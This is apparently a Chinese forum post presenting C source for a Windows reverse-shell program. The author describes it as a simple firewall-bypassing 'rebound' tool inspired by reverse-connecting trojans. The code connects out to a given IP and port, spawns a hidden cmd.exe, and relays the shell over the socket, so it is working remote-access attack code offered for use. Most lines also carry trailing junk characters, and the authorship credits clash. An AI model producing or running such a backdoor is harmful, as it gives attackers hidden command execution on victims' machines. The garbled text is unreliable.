这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *A8CJ
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/* ============================== :*4yR46
Rebound port in Windows NT /V3*[
By wind,2006/7 Z1q'4h=F.
===============================*/ *]F3pP[
#include 3>?ip;
#include g#Yqw
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#pragma comment(lib,"wsock32.lib") vwP516EM
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void OutputShell(); EB>laZy>
SOCKET sClient; *Z{W,8h*s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o F@{&
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void main(int argc,char **argv) t}TtWI
{ Z.,Pl
WSADATA stWsaData; [S$)^>0
int nRet; %OW[rbE.
SOCKADDR_IN stSaiClient,stSaiServer; fzSZ>I0R
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if(argc != 3) 4W^0K|fq
{ +IJpqFH
printf("Useage:\n\rRebound DestIP DestPort\n"); /&ph-4\i
return; Lu-owP7nB
} @NX^__sa
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WSAStartup(MAKEWORD(2,2),&stWsaData); U:8^>_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #<se0CJB
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stSaiClient.sin_family = AF_INET; pz-`Tp w
stSaiClient.sin_port = htons(0); 6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t F`>.=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }V9146
{ kv) LH{
printf("Bind Socket Failed!\n"); <pi q?:ac
return; l65'EO|
} ztb2Ign<
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stSaiServer.sin_family = AF_INET; =m-_0xo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ya=QN<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )vPce
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hWDgMmo7
{ zSkM8LM2
printf("Connect Error!"); z.[L1AGa|s
return; l;?.YtMg
} M: `FZ}&L
OutputShell(); Qaagi
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} {)F-US
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void OutputShell() ^hbh|Du
{ Sw(%j1uL
char szBuff[1024]; V <k_Q@K
SECURITY_ATTRIBUTES stSecurityAttributes; TTqOAo[-Z
OSVERSIONINFO stOsversionInfo; E\'_`L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uw]e$,x?
STARTUPINFO stStartupInfo; PQf FpmG
char *szShell; L@G)K
PROCESS_INFORMATION stProcessInformation; q^12Rj;H
unsigned long lBytesRead; tkJ/h<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9Z#37)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iY(hGlV
stSecurityAttributes.lpSecurityDescriptor = 0; %/'[GC'y!
stSecurityAttributes.bInheritHandle = TRUE; faJ5f.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oWJ}]ip
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YQ?|Vb
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W#??fae
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3bPVKsY
stStartupInfo.wShowWindow = SW_HIDE; JgK?j&!hs:
stStartupInfo.hStdInput = hReadPipe; O4-UVxv}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {5_*f)$[H
rj{'X /
GetVersionEx(&stOsversionInfo); hO(HwG?8t
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switch(stOsversionInfo.dwPlatformId) )bcMKZ
{ |,yS>kjp
case 1: ^,`Lt *
szShell = "command.com"; OU{PVF={
break; 6^
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default: I>P</TE7
szShell = "cmd.exe"; &[3!Lk`.0
break; EA8(_}
} Jl^oDW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sb{S^w\m0
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send(sClient,szMsg,77,0); r
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while(1) k$+&
{ G\P*zzSq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S>H W`
if(lBytesRead) {= z%('^
{ c85B-/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W]y$6P
send(sClient,szBuff,lBytesRead,0); zV2c`he%z
} ,U<Ku*}B
else 3a#!^G!~
{ Rl S=^}>
lBytesRead=recv(sClient,szBuff,1024,0); Q"Bgr&RJ
if(lBytesRead<=0) break; i.fDH57
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |\}f)Xp-
} }D=h"\_=
} Gn_v}31d%
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return; &0ULj6jj
}